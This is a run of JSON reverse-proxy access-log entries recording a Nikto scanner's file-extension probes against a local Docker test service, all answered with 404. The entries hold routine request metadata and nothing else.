{"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":909396,"OriginContentSize":355,"OriginDuration":877377,"OriginStatus":200,"Overhead":32019,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":160,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.et","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.539620589Z","StartUTC":"2021-12-08T14:02:43.539620589Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":285733,"OriginContentSize":356,"OriginDuration":271084,"OriginStatus":200,"Overhead":14649,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":161,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.cwr","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.542854438Z","StartUTC":"2021-12-08T14:02:43.542854438Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":255445,"OriginContentSize":355,"OriginDuration":236873,"OriginStatus":200,"Overhead":18572,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":162,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.el","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.544356071Z","StartUTC":"2021-12-08T14:02:43.544356071Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":250008,"OriginContentSize":357,"OriginDuration":233286,"OriginStatus":200,"Overhead":16722,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":163,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.Big5","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.545503282Z","StartUTC":"2021-12-08T14:02:43.545503282Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":196781,"OriginContentSize":359,"OriginDuration":187465,"OriginStatus":200,"Overhead":9316,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":164,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.koi8-r","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.546587679Z","StartUTC":"2021-12-08T14:02:43.546587679Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":228836,"OriginContentSize":357,"OriginDuration":216877,"OriginStatus":200,"Overhead":11959,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":165,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.ashx","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.547579753Z","StartUTC":"2021-12-08T14:02:43.547579753Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":223225,"OriginContentSize":357,"OriginDuration":211596,"OriginStatus":200,"Overhead":11629,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":166,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.shtm","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.548649703Z","StartUTC":"2021-12-08T14:02:43.548649703Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":358,"DownstreamStatus":404,"Duration":192901,"OriginContentSize":358,"OriginDuration":182802,"OriginStatus":200,"Overhead":10099,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":167,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.html~","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.549765035Z","StartUTC":"2021-12-08T14:02:43.549765035Z","downstream_Content-Length":"358","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"358","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":196142,"OriginContentSize":355,"OriginDuration":185810,"OriginStatus":200,"Overhead":10332,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":168,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.cs","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.550758529Z","StartUTC":"2021-12-08T14:02:43.550758529Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":367,"DownstreamStatus":404,"Duration":234100,"OriginContentSize":367,"OriginDuration":224701,"OriginStatus":200,"Overhead":9399,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":169,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.bas:ShowVolume","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.551772504Z","StartUTC":"2021-12-08T14:02:43.551772504Z","downstream_Content-Length":"367","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"367","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":222535,"OriginContentSize":355,"OriginDuration":209983,"OriginStatus":200,"Overhead":12552,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":170,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.it","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.552857032Z","StartUTC":"2021-12-08T14:02:43.552857032Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":1083973,"OriginContentSize":356,"OriginDuration":1042842,"OriginStatus":200,"Overhead":41131,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":171,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.asa","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.555619431Z","StartUTC":"2021-12-08T14:02:43.555619431Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":267852,"OriginContentSize":355,"OriginDuration":247932,"OriginStatus":200,"Overhead":19920,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":172,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.tw","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.557861867Z","StartUTC":"2021-12-08T14:02:43.557861867Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":362,"DownstreamStatus":404,"Duration":377666,"OriginContentSize":362,"OriginDuration":357746,"OriginStatus":200,"Overhead":19920,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":173,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.listprint","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.559327807Z","StartUTC":"2021-12-08T14:02:43.559327807Z","downstream_Content-Length":"362","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"362","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":337682,"OriginContentSize":357,"OriginDuration":316258,"OriginStatus":200,"Overhead":21424,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":174,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.php~","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.561002002Z","StartUTC":"2021-12-08T14:02:43.561002002Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":278289,"OriginContentSize":356,"OriginDuration":265247,"OriginStatus":200,"Overhead":13042,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":175,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.txt","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.562614601Z","StartUTC":"2021-12-08T14:02:43.562614601Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":358,"DownstreamStatus":404,"Duration":278500,"OriginContentSize":358,"OriginDuration":254364,"OriginStatus":200,"Overhead":24136,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":176,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.lasso","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.564647363Z","StartUTC":"2021-12-08T14:02:43.564647363Z","downstream_Content-Length":"358","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"358","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":287908,"OriginContentSize":356,"OriginDuration":272129,"OriginStatus":200,"Overhead":15779,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":177,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.ASP","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.565920268Z","StartUTC":"2021-12-08T14:02:43.565920268Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":379002,"OriginContentSize":356,"OriginDuration":364163,"OriginStatus":200,"Overhead":14839,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":178,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.cfc","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.567493798Z","StartUTC":"2021-12-08T14:02:43.567493798Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":532207,"OriginContentSize":356,"OriginDuration":486960,"OriginStatus":200,"Overhead":45247,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":179,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.tml","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.569847485Z","StartUTC":"2021-12-08T14:02:43.569847485Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} 